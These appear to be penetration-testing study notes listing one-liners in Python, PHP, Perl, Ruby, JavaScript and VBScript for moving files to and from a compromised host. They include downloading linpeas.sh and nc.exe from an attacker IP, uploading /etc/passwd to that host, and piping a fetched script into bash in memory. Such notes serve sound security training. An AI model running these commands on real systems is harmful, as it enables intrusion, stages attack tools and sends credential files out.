~/transfer-code

Code One-Liners

CPTS Notes3 min read

Use an interpreter when curl, wget, and PowerShell are missing or blocked. Linux hosts often have Python, Perl, or PHP. Every Windows host runs JavaScript and VBScript through cscript. Find the installed interpreters:

which python3 python2 python perl php ruby # path of each installed interpreter

Each example saves http://10.10.14.20/linpeas.sh as linpeas.sh in the current folder.

Python

Python 3:

# download with Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.14.20/linpeas.sh","linpeas.sh")'

Python 2:

# download with Python 2
python2 -c 'import urllib;urllib.urlretrieve("http://10.10.14.20/linpeas.sh","linpeas.sh")'

-c runs the code that follows. A host with only python may run either version. Check which one:

python -V # print the Python version

Upload to uploadserver. requests is a separate module and is often missing:

# upload /etc/passwd to uploadserver
python3 -c 'import requests;requests.post("http://10.10.14.20/upload",files={"files":open("/etc/passwd","rb")})'

Upload with the standard library only, as a PUT to Nginx:

# upload /etc/passwd as passwd.txt
python3 -c 'import urllib.request as u;u.urlopen(u.Request("http://10.10.14.20:9001/up/passwd.txt",data=open("/etc/passwd","rb").read(),method="PUT"))'

PHP

# download with PHP
php -r 'file_put_contents("linpeas.sh", file_get_contents("http://10.10.14.20/linpeas.sh"));'

-r runs the code that follows. file_get_contents reads a URL only when allow_url_fopen is on, the default.

Run a script in memory:

php -r 'echo file_get_contents("http://10.10.14.20/linpeas.sh");' | bash # run with no copy on disk

Perl

perl -MLWP::Simple -e 'getstore("http://10.10.14.20/linpeas.sh","linpeas.sh")' # download with Perl

-M loads a module. -e runs the code that follows. LWP::Simple is part of libwww-perl and is not on every host.

Ruby

# download with Ruby
ruby -e 'require "net/http"; File.write("linpeas.sh", Net::HTTP.get(URI.parse("http://10.10.14.20/linpeas.sh")))'

JavaScript (Windows)

cscript runs JavaScript and VBScript files on every Windows version. Save this as wget.js:

// download the URL in the first argument to the path in the second
var r = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
r.Open("GET", WScript.Arguments(0), false);
r.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Type = 1;
s.Open();
s.Write(r.ResponseBody);
s.SaveToFile(WScript.Arguments(1));

Run it:

REM download nc.exe to C:\Users\Public
cscript //nologo wget.js http://10.10.14.20/nc.exe C:\Users\Public\nc.exe

//nologo hides the banner. ADODB.Stream with Type = 1 writes the response as binary data.

VBScript (Windows)

Save this as wget.vbs:

' download the URL in the first argument to the path in the second
Set x = CreateObject("Microsoft.XMLHTTP")
Set s = CreateObject("ADODB.Stream")
x.Open "GET", WScript.Arguments.Item(0), False
x.Send
s.Type = 1
s.Open
s.Write x.responseBody
s.SaveToFile WScript.Arguments.Item(1), 2

Run it:

REM download nc.exe to C:\Users\Public
cscript //nologo wget.vbs http://10.10.14.20/nc.exe C:\Users\Public\nc.exe

The 2 in SaveToFile overwrites a file that exists.

To write either script from a shell with no editor, append it one line at a time:

REM append one line to the script
echo <line> >> wget.vbs

Base64 paste also works (Session Transfers).